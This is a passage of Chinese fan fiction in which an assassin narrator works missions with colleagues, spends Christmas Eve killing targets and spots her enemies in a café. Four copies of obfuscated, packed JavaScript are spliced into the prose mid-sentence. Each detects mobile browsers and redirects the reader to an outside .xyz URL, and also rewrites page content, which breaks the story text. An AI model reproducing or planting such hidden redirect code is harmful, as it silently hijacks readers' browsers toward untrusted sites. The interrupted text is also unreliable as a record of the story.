“你不相信我可以带给你一个与众不同的世界吗?” 我先是习惯性摇头,过了两秒又开口:“不是,这很难吧。” “那你可以期待一下了。” 他眯眼坏笑着,高大的身躯笼罩过来,覆下一层阴影,瞬息间我的耳侧传来一阵很怪的触感,伴随着他的低语:“期待不管是身体上还是情感上的意外……” 我瞪大了眼,终于恍然大悟,于是一脚把他踹开: “就说哪儿不对劲呢!你什么时候偷偷去配了我家钥匙!” “!” 南云委屈地跪作一团,虽然头发有些凌乱却意外的乖巧。 “你误会我了,那个钥匙是我在地上捡到的……” “好吧。”我摸到空空的口袋,说不定真是不小心掉出来了。 7. 阳台外面,静默的漆黑夜空下,城市的灯光格外耀眼。 “我就住下了。”南云不知从哪里变出一袋看起来是换洗衣物的东西,阳光灿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662744|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂地笑着,“反正你也不睡床吧,那床就归我了。” “随便你好了。” 是的,即便住在室内,我依旧丧心病狂地把帐篷搭在了阳台上。 虽然和坂本家的后院还是有很大区别,不过在阳台上能吹到夜风,这也不错了。 只有我跟南云两个人的话,夜间生活就没那么有意思了,不像大佛和神神廻在的时候能一起打牌到半夜,所以我准备过会儿直接进入睡眠。 我正盘腿坐在客厅专心擦刀,南云便从浴室晃悠着走了出来,身上似乎还环绕着一圈雾蒙蒙的水汽。 大我一圈的黑白色块也在我旁边坐定,缩成一团倚靠在我肩头静静看着我动作。虽然感觉到自己的衣服都被他湿漉漉地沾濡了,不过幸好我待会儿才去洗澡,所以就没和他计较。 “烈焰,除了大佛,最近还有谁住过这里吗?” “没啊,就你一个。”我心不在焉地回答他。 “那……”他拖长了音调,“是不是还有别人用过浴室?” “啊?有吗……我记起来了!上次下暴雨,朝仓来过一回。当时他浑身都潮了,所以就借了下浴室。”我不可思议地放下刀,“好厉害,你怎么知道的?” 他接过我的砺石,顺理成章地帮我磨起了刀:“其实我会通灵哟!是水龙头告诉我的!” “又在瞎说!” “没什么,就是镜子有点脏了。” “那不是很正常吗?” “所以我帮你擦干净了。” “好吧,那谢谢你。” 8. 房间布局上,浴室算是嵌套在卧室中的。我擦干头发从浴室里走出来时,不可避免地就看见南云穿着松松垮垮的睡衣坐在床脚,眼巴巴望着我关上浴室门。 “你不睡吗?”我问道,“要我帮你关灯吗?” “才不要!现在还这么早怎么睡得着!” “……那你需要睡眠瓦斯吗?我应该还有一些。” 南云的脸短暂地皱在了一起。 他向我招手示意我过去,虽然不清楚他想做什么,不过在我发现他睡衣上少数几颗纽扣都给扣错了后,我就不由自主地走过去了。 “一个两个都不会好好穿衣服。”我皱着眉帮他把扣错的第一个纽扣解开。 “这么说,还有谁?” “朝仓啊,以前他在家里特别爱穿背心,每次起床以后肩带都要滑到胳膊那儿。” 南云停住我正调整着第二颗纽扣的手,他自下而上仰视着我,深邃的眼睛里有着难懂的情绪。 “不要再提别人的名字了,尤其是那个……慢着,纽扣不用再扣起来了,烈焰。” 手被他抓着不好放开,他很快调整好了语调,一手撑着床面而身体向后仰去,只剩了一颗纽扣勉强挂住的睡衣齐齐往两侧散去。 好像窗帘一样,只不过窗户外面是满身刺青的皮肤罢了。 “之前在伊豆的时候,你说过以后会好好看我的纹身的。”他略带委屈地说着,“烈焰还欠我一篇观后感。” “你忘了这个吧。那个时候只是缓兵之计,你要知道我可没读过书,写不出什么好话。” 他索性自暴自弃地躺倒在床上,我被他牵动着也顺势往前砸。眼看着大事不妙,我俩的身躯就快要重叠上的紧要关头,还是我出色的身体素质救了南云一命。 万一被我砸死就不好了。 我挣扎着从另一边的柔软大床上爬起来,终于松了口气。 他面带讶异、随即是无言沉默地看着我活动了下手脚,一本正经训诫起来。 “你应该有些男女之间的界限。”我想起了网上的话题,“不可以因为我是一个好人就放松警惕,网上可是说女人都是大野狼呢。” 南云的身躯随着呼吸上下起伏着,我揉揉手指,上面似乎还停留着他身体燥热的温度。 语罢,南云抹了把脸。 “睡眠瓦斯,烈焰你拿来吧。” 64.共事 1. “说起来,你车不是抛锚了吗,接下来准备怎么办呢?” 我和南云二人坐在桌前吃着早餐,他被我从床上薅起来不久,目光黑沉沉的,头发也乱糟糟的,整个人似乎只是凭着肌肉记忆进食。 闻言,他缓慢地眨了眨眼,嘴里咀嚼的动作也将近停滞:“抛锚……啊。哦。那个啊——”他拖长了语调,随即点点头:“杀联的员工,嗯,就是他们,昨晚已经来修好了。” “那就好。”我拍拍手上的碎屑,“这样你就自己上班去吧,待会儿我就先走了。你记得把你的东西都带走,别又落衣服在我家。” “诶?” 南云这会儿整张脸都很清澈的样子,和清醒时的气质完全不同,好像一下子年轻了许多。 “你诶什么?不想上班吗?” “人家想和你一起嘛……” “噫!突然学女高中生撒娇是想做什么啊……”我脑中灵光一现,联想到南云先前的斑斑劣迹,实在忍不住告诫他,“我说啊,今天你绝对!绝对不许再像以前一样偷偷摸摸溜到我任务地点了!” 虽然嘴里嘟囔着“没有”,但那眼神和手指上的小动作绝对是心虚的人才会有的。 倒不是我本人不欢迎他,问题是今天是我和搭档阿豹的第一次共同任务。阿豹和南云,很不对付呐! 2. 阿豹眉头紧锁,在我们约好碰头的街边靠在车身上不住地掰动着指关节,本身就长得很不好惹,这下更是在人群中隔绝出了一小片真空地带。 “哟。你来了。” 他皱了下鼻子,手也不知道本来有什么目的地,总之在半空中晃了一圈后又仿佛无事发生一样贴在身边。 路过的女高中生绕了半个圈从我身后经过。 “喂喂不是吧,刚刚你听见了没,那个亚文化大叔……” “嘘!小点声!不过我懂我懂啦,这年头竟然还真有人用‘哟!’当打招呼的开头!好土……” “噫!快点走啦!好恐怖!” 我坐进副驾驶,搭好安全带:“阿豹,我听人说‘哟!’开头的打招呼很土,这是什么说法啊?” “……你还真是直接啊。”他调节着后视镜,随即慢慢发动车辆,脖颈泛红看起来是不准备回答我的话了。 “你趁现在还可以熟悉下今天的目标。”阿豹开车的技术就如同他本人给我的感觉一样沉稳,他不经意向我抛来一个眼神,没想到和我对视上了,于是又匆匆看回车道,“毕竟,那个,今天可是要赶三个场。” “我早上读过一遍了,所以完全没问题!” “哦,那还真是省心啊。”他顿了顿说。 然后该说些什么呢? 我飞速瞥了他一眼,终于想到了一个适合与严肃的阿豹交流的话题。 “说起来,你还记得那天在医院天台上讲到的事情吗?就是有关斯拉的情报。” 我准备和同事串通一下消息。 3. 事实上,昨天南云并不只是来我家捣乱来的,有用的消息他也带来了些。 关键词便是“岩永东彦”此人。 最开始,我以为他只不过一个没什么素质还操着一口好笑英文的暴发户,没想到他还和斯拉牵扯上了关系。恐怕就是当时在游轮楼梯间那场追逐战之后的事了。 南云让我也不要小瞧了人家,毕竟那人再怎么说是创建了现如今占据了日本媒体半壁江山的岩永网络,在外行事必然有藏拙的可能。不过我想了想还是没反驳,当时他那副屁滚尿流的慌张模样,可不像是演出来的。 虽说岩永本人最近没在大众视野中现身,不像以往那样招摇过市了,但他公司的风头依旧不小。 “你听说了吗?那个公司似乎还要和高层联合打造一个什么……‘户闻直播间’!对,就是这个!”我说得嘴唇有些干,忍不住舔了舔嘴角,接过阿豹从侧边拿出来的一瓶矿泉水打开喝下一大口,“谢谢。” “好像有听说。是那个什么宣称要把最真实的现场新闻即时送到家家户户去吧,嘁,谁信他们那一套呢。” “南云也这么说,虽然听说是官方那边主动邀请他们的,但指不定其中有什么猫腻。” 阿豹听到某个人名时,眉头显然地皱了下,不过也没说什么,只是继续驾驶着汽车。 “还有一个最关键的消息,说明他们绝对有问题。” 我把当时和神神廻一起做的第一个任务简单转述给阿豹听完,“那份叫做《杀杀山谷》的不明小报所属的报社……” “是他们公司旗下的?”阿豹试探性猜测道。 “不是哦。”我摇了摇头,“简直可以说是毫无关系!” 不管是从财务来往、人员构成,亦或是报刊内容上,这两家公司都找不出任何一项交叉点。 然而,怪就怪在这种毫不相干。 《杀杀山谷》是一部刊登着猎奇新闻、花边消息、地下情报等大杂烩般的野鸡小报,就内容而言,“岩永东彦”作为从不缺席其他同性质报纸的一个名字,却在这份报刊上从没存在过。 “确实怪得很。”阿豹沉吟着,“不过没想到你懂得还挺多。” “……谬赞。这些东西昨天南云给我讲了两个小时才讲清楚。”我有些心虚。 阿豹“啧”地咂了咂嘴,随后不爽地开口:“虽然不想承认,但那家伙在这种事情上确实很有本事……但从根本来说,做这些事没必要吧,ORDER只要当好杀联的刀就行。” 杀联的刀?脑中似乎闪回了些没能抓住的片段。 我只能干巴巴地回答道:“南云他,因为他想帮我吧。” 阿豹的眼中含着一种莫名的情绪,眉骨上的铁环闪烁着银色的金属光泽,太阳光下有些晃眼。 “到地方了。干活吧。” 他解开了安全带。 4. 砍。砍。砍。 每一步都用力思考着怎样才能做到最好,精准打击的同时避免用力过度折刀。 太刀似乎有些钝了。 我后知后觉拿出道具袋中的砺石。 “我说啊,你别突然吃饭吃着吃着把刀掏出来行吗?” 阿豹无奈的劝告在我耳边炸响。 我这才回过神来我们正在快餐店吃饭来着。 “不好意思,我一不小心又开始复盘刚刚的战斗了……” 阿豹吃饭的速度也很快,他抬头挑了挑眉:“实话说,感觉你没用全力好好打。听前辈一句劝,小看任务的话,在这个世界可是会死得很早啊。” 我声音闷闷地应下了。 “但是全力以赴的话似乎用不对方向,刀会坏。” “没记错的话,你不是对你的太刀技术‘深以为豪’吗?”说着他补充了一句,“你的入职介绍书是这么写的。” “是这样啦…但是我最近在向篁学习,总感觉遇到人生中的瓶颈了……” “噗!”阿豹差点惊得把一口味噌汤喷出来,“你你你和篁!?我是管不了那么多,不过这下你也没有什么非要和我搭档的理由了吧。” “不哦。”我摇摇头,也喝了口汤,“和你一起工作,我感觉节奏什么的都很好,我很喜欢,如果可以的话,接下来的日子就请多指教了。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680759|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 5. 阿豹似乎是不太擅长接受这种直接的情感表达方式的那种人。 总之这位高达两米的彪形大汉被这顿饭吃得脖子通红,只能勉勉强强说着几句应付的话,最后一言不发地结账去了。 6. “所以你或许对『刀』和『武器』有什么见解吗?” 结束第三场战斗的返程路上,我再一次郑重地向阿豹提出了困扰已久的问题。 “这问题很深奥的样子。”他目视前方。 “我也这么觉得。”长长叹出一口气,我放松身体躺在汽车座椅中,“但这是篁老爷子跟我说的啊,我怎么也得想清楚。” 阿豹眼睛瞪得如同他脖间铁环那般大小,一连咳嗽个不停:“怎么还能给你说上话了!?” 也太大惊小怪了吧,但说实话我很喜欢别人的这种吃惊反应,总觉得很得意。 “对,他当时就很酷炫地收刀站到我面前,就像一个真正的英雄那样,超帅气地对我说,‘刀,此乃武器。’可是我想不明白这句话怎样才能让我变强。”我压低了声音模仿着,眼前似乎又浮现了老人沉默的背影。 “武器就是武器吧,打架杀人的工具。”阿豹垂眸看向陪伴他许久颜色已然暗沉下去的指虎。 “你的武器是指虎,我的武器是太刀。”我喃喃念着。 阿豹干笑了两声,随即转动方向盘转弯:“抱歉啊没能帮上忙,我‘刀是武器’‘武器是刀’地这么颠来倒去念来念去还是没发现有什么奥秘。” “没事,这本来就是我自己太笨的缘故。” 刀啊…… 我闭目养神休息着,不由得回想起方才阿豹曾说的那句“我们都是杀联的刀”,换句话说,我们都只是杀人工具罢了。 不过我并没把太刀当成一个单纯的工具,每把刀都是我的伙伴,在不同的情况下挺身而出,帮助我打倒不同特性的怪物。 毕竟,是我亲自选择太刀的啊。 7. 似乎……似乎有什么…… 我死命按揉着太阳穴,企图抓住泄进来的那一丝光亮。 啊!对了! 那正是关键啊! 现在已经不是我这『太刀』的时代了。 没有怪物要打,没有所谓的属性相克,没有我适配的战斗经验。 篁说,刀是武器。 我却始终坚持着“武器是刀”,由我来选择武器,这就是不同之处。 简洁、单纯、目的明确。只是为了杀人。 没有什么所谓技术、也毋需什么章法,我只要一心一意想着将刀尖送到敌人最薄弱的身躯就足够了。 8. “太谢谢你了!!” 下车后,我隔着车窗使劲摇晃着阿豹的胳膊表达感谢,既为了搭车之便,又为了在车上一番话的指点迷津。虽然他本人可能并不清楚。 阿豹把我送到了杀联总部门口,我赶在员工下班之前提着五大袋“转正奶茶”送到了楼上椎名小姐那里,大家都感动哭了。 “说起来,你来得也很巧呢!”椎名是杀事部的科长,她向我晃了晃手机,“本来还想给你发邮件来着的。统筹部的内藤说有给你的特殊信件,就是楼上那个死秃头那里,你去拿一下吧。” “诶?谁会写信给我?” “你刚来所以不知道吧,每隔一段时间,杀联的占卜师就会给你们这些核心成员算上一卦哟,你也算是巧,刚好碰上呢!” 占卜师? 是那种在阴暗的帐篷里神神叨叨说些怪话的witch吗? 唔、没见过,我去看看好了。 65.年底怎么这么忙! 1. 统筹部的楼层乌烟瘴气一片,得益于其科长内藤不甚端正的作风,他那群手下也是一丘之貉,整个部室都是一群我不太想靠近的小人。 我捏着鼻子速速从内藤的办公桌上抽走了那份写着我署名的信件。 信纸也变得臭臭的了。 走到楼下,我便准备回家,便拆开信封查看其中内容,然而上面只是十分简短的几行稚嫩字体: “刃光乍现, 血色鲜明, 轻易不要作下约定。” 看不懂。 我挠了挠头。最近怎么老是给我出些阅读理解题……为什么不把我应该做什么直接列出来呢? 而且这个占卜师也没什么真材实料吧,明明天天都在开刃流血,这番话似乎除了“约定”并没什么特殊之处。 将这张纸折叠成薄薄的小方块,我没怎么放在心上,把它放进了衣服口袋。 2. 正如南云所说,12月正是忙碌的季节。 全公司上下少见地凝成一条心,每个人都拼着老命处理积压到年底的疑难杂症任务;毕竟,要是谁把今年的任务拖到下一年才完成,都会被同组的同事取笑接下来整整一年。 当然,积极进取的人还有着另一层动因:总要为了年终考核加点业绩。年终考核可是关联着年末奖金发放的! ORDER更是毫无例外地担负了一座大山。 原本就没做完的工作,底下普通暗杀组杀手叫苦不迭于是嚎叫着丢过来的工作,由于临近过年纷纷躁动起来引发的新工作……就连我都感觉到日子过得昏天黑地了。 “你不觉得我们命很苦吗?” 南云最近时常和我打视频电话,手机上每次打开都有几通他的未接来电,我们也很难真正凑上一段都有空闲的时间。 他的眼眸本来就黑得深不见底,如今更是染上了一层淡淡的黑眼圈,我总感觉这人要变成一个黑洞了。 “漫威英雄蜘蛛侠彼得帕克的叔叔本曾经说过,‘能力越大,责任越大。’所以命苦是应该的。” “不要一本正经引用那种商业片的内容啊!话说你什么时候看的那电影?” “很久以前,在坂本家的时候。”我顿了顿,“没关系,你觉得累的话,可以直接向我求助,我会帮你的。” 南云那边可能是由于电话的延迟性停顿了一秒才有反应,他的视线微微不自在地离开镜头,手背在脸颊上贴了贴,随后咳了声说:“不是那个意思啦……说起来,之后你没什么安排吧?” 安排?是指12月的日程吗? “除了月底的年会就是完成任务了。你有什么事吗?” “圣诞节!平安夜!”南云的嗓音难掩雀跃,“烈焰,24号那天一定要空出时间和我去逛街哦!” 最近太忙我都给忘了这茬。 过往的圣诞节,我自从明白了这并非专门设立给教徒们的节日,便一直是和坂本家的几人愉快地度过。今年要给大家准备什么礼物呢?…… “我在你面前都能开小差吗?” 南云炸毛的声响在扬声器里炸开,他凑近镜头似乎想从屏幕里爬出来一样。 我晃了晃神,随即接过话来:“嗯……你说的那算是‘约定’吗?” 南云想都没想便回答道:“是!而且是我们‘两个人的约定’!”还特地加重了这个词想要加重话语的份量。 我叹了口气:“如果是约定的话,我大概不行呢。” 好歹是总公司出品的占卜师,我还是先听听人家的话吧。 3. 虽然推却了所有和人的“约定”,但这并不妨碍那些人跑到我家来。 先是许久不见的大佛,她拖了个行李箱来,看样子是打算久住。 之后是闻风而动的南云,他刚来就挤在了我和大佛中间,丝毫察觉不到大佛怨气似的开始谈天说地。 最后是相比之下拘谨许多的神神廻,他一来我就松了口气。这下至少能凑齐一桌牌局了。 不,不是这个说法。 神神廻是我偷偷喊来的救兵,虽然被我叫来的时候一头雾水,不过开门见到在场嘉宾后,从脸色上来看他应该明白了个大概。 于是,就这样莫名其妙打了一个小时牌以后,额头上贴了几道纸条的神神廻终于耐不住坐立难安发话了: “喂……我说,你们几个也该有点数目吧,都几点了还稳稳坐这儿打牌,搞得好像要住下来了一样。” “是啊。” “所以啊最多再一——不是、什么‘是啊’!?” “就是住在这儿啊。” “这不是能这么淡定说出来的事吧!” “神神廻先生,没事,他俩都有经验的。”我抽了他手里一张牌。 “经验!?”神神廻差点破了音,“还不是第一次了?你这不是很乐在其中吗刚刚还有什么必要特地发那种迷惑人的消息叫我来?” 南云:“烈焰别管他,他就是输了以后恼羞成怒了。” 我:“所以神神廻先生要不也住下吧?” 神神廻:“大佛也就算了,南云你这家伙真没一点底线啊……怎么说也是异性的家里啊!” 大佛:“啊!我赢了!神神廻先生,把脸凑过来——” 我:“神神廻先生有什么夜宵可以吃呢?我好像有点饿了。” 神神廻低着头沉默半晌,金发微微颤动着,好似一座即将爆发的火山。 他震声道:“饿了就去睡觉!吃什么吃我是不会再给你们下厨的!”嘴角抽动着瞥了我一眼,又揉着太阳穴有条不紊地指挥着我们这群人一次洗漱睡觉。 4. 这个晚上是神神廻最先累得在茶几边倚着靠垫睡着了。 于我而言,这个夜晚并没有什么不同。 5. 依旧是早早起床进行体能训练。 在那天浅浅地顿悟了一下过后,我便决定更换新的训练方式,不能再用老一套方法了。 专心、专注、无比的坚定信念。 12月凌晨冒着寒意的冷空气席卷而过,拂过草坪夜露的清风从每个角度钻进我的短袖短裤,我凝神屏息,手里握着的太刀砍断了风吟。 冬日的天空本就亮得晚,最近的晨间训练更是如同摸黑一般。我抛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693559|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃了身上所有的装备,不再使用任何道具和手感熟练的太刀,只是为了从0开始,练习在这个世界为了“杀戮”而使用的太刀。 回忆着篁的刀法,我一下下向前劈砍去,目的是改善自己的基础动作。 天气严寒,我却丝毫感受不到,甚至还以为周身升腾起了薄薄一层热汽。汗珠自脖颈间坠落,我没工夫低头看,但那或许落到了草坪上与露珠混为一体。 ——我能感觉到自己努力的成效。 最近的杀人任务里,在实战中,我确确实实感觉自己的刀气有所延长。 所以说,我能有这么快的进步,说明本人绝对不是一个只有怪力的笨蛋啊。 ……圣诞节礼物,果然还是要给篁爷送点什么才好呢! 6. 准备给别人的礼物暂且放在一边,因为属于我的礼物我已经遇见。 ——艾露猫回家了。 还附赠了我一个充斥着黏糊糊不明物体的厨房。 “欠收拾了是不是?” 我认命般打扫起厨房,许久未出现的猫咪冷傲便跟在我身后不发一声。 此猫向来便是如此,常常是“神喵不见摆尾”,一个不留意就跑没了影。我对其的期望已经是:知道回家就好。 撑着桌面站起身,却意识到手掌的触感不太对,我低头一看,一团黑不拉几的黏稠“食物”粘在了我手心。 当下我第一反应:“你不会想在家做兔团子吧?” “老大,就是这样喵……” 冷傲转身把屁股对着我。 7. 经过一番拷打后,冷傲终于从实招来。 不在家的日子,猫爪痒了于是又跑去咖啡厅做点心了,明明之前还死不承认自己有一颗当点心师傅的心! “老大,我研发出了新属性的兔团子喵!快夸我喵!” 话题一转,冷傲眨巴着眼睛又在我脚边转来转去。 我终于看见了一堆我没买过器具后藏着的一盘长得不那么端正的兔团子。 “什么新属性?” “吃完就知道了喵。” 好吧,我没办法抗拒家猫期待的眼神。 青绿色的团子有些黏手,除了糖没拌匀之外似乎和之前没有其他区别。 我愣了愣扭头盯着冷傲:“我知道了,是草,里面加了草!” “是食用色素喵!” 所以真的没有任何特殊作用吗? 冷傲就说有是绝对有的,但是我是第一个吃的,所以特殊功效只有我测试过后才知道。 “这不是在拿我试验吗你这坏猫!” 8. 不过,至少给了我一些灵感,我不妨做些炎火村名产兔团子当做圣诞节礼物,不仅可以量产关键还实用。 那个晚上我便连夜吭哧吭哧和猫师父一起做出了一整桌颜色各异的团子。 没加色素的那种,纯用特殊食材染的色。 第二天便是平安夜了,我只祈求任务不要有什么差错,让我能把这些东西平平安安送去朋友们家里。 我没和任何一个人说过这事,所以这也不算是“许下约定”吧? 66.平安夜和谁过都好 1. 12月24日。 平安夜。 周五。 许久前大街小巷便涌动着过节的气氛,红绿色的旗帜,红绿色的零食包装,红绿色的闪光缎带,看到这些场景,我的内心也会随之一起轻快起来。 清晨出门做任务时,我草草加热了两个神神廻放进冰箱里的饭团在身边,属于ORDER的重量级任务已经基本处理完毕,剩下的就是些基层递上来的数量级任务。 因此,我和阿豹的搭档暂时解散,分头去解决各地那些稀松平常的小刺头。 市区的节日氛围显然更为浓厚,路过的店家播放着不同版本的金狗拜,导致我挥刀时也忍不住哼起歌来。 耶稣如果还活着的话,应该会是个很幸福的人。全日本、全世界过着圣诞节的人都在为他庆祝生日,他的名字或许已经象征着幸福。 “生日快乐啊,耶稣先生。” 我欢快地擦去刀上的血痕。 2. 白天,击杀了97人。其中上午31人,下午66人,太刀技术并未提升,但是简单清理现场的本领有所熟练。 好心的店家搞活动,给路人派发精致的圣诞蝴蝶结。由于不方便携带,我将其拆开成两段红底镶金边的丝带,较长的一段绑在头上,较短的一段系在太刀刀柄,但途中染上了血,丝带先是变为纯红,到夜里又演变为了红底的黑斑点丝带。 这也不错。我心里想着。 城市并未因黑沉沉的夜幕降临而暗淡,反而有一排接一排的暖黄色路灯亮起,人们欣喜的脸庞也随之亮起。 我喝着路边随手买的罐装饮料,手机屏幕亮起,不出意外又是南云或者大佛询问我什么时候回家。 因为我迟迟不肯回复关于平安夜的安排,所以那两个干脆直接蹲点等我了。幸好现在顺利地把所有工作做完了。 啊。 不是。 烈焰转正群的群友发来一则支援求助,坐标是市中心某地下交易会所。不是上头发来的任务,但出于私交,我帮一下也无妨。 我起身把空罐扔进不远处的垃圾桶,手指在微微发烫的屏幕上快速移动。 “想等的话再一会儿就好。” 回复给我已读不回大半天的大佛、南云。 发送。 3. 踏出地下通道狭窄的楼梯口时,总有一种恍惚的感觉。 进去前街道上只有三两行人结伴而过,出来时外面却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15711050|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同人口大爆炸一般,围巾挤着毛呢大衣,雪地靴抵着厚底鞋。 人们簇拥着、欢笑着,全然不知刚刚从地下走出来的我,身上染着的红色并非为了庆祝耶稣的生日。 距离发出消息已经又过了很久,不知道他们还在不在等我。 我抹了一把脸,匆匆往回赶。 去年这个时候,天空飘下雪花,我洗漱干净,躺在帐篷里,盯着顶部的透明塑料布慢慢堆积成白色,于是不知不觉陷入睡眠。 今年我刚刚结束工作,路过一家一家玻璃透着暖黄色灯光的商店,看着城里的男男女女借着这个夜晚交谈有关“爱”的词汇。 “爱”吗? 我摇摇头。 4. 路边每家装修精美的店都坐满了人,尤其是咖啡厅,身着圣诞主题装束的女孩们互相交换着和蛋糕合影,然后就会上传到ig吧。 通常…… 在这铺天盖地红色、绿色、金色的世界中,有两抹刺眼的白色正悠闲淡然地喝着咖啡。 然后我揉揉眼睛确认后就不受控制地冲了进去。 5. 斯拉是多么胆大包天、多么精神不正常,敢在这样大家其乐融融的氛围下喝咖啡的!?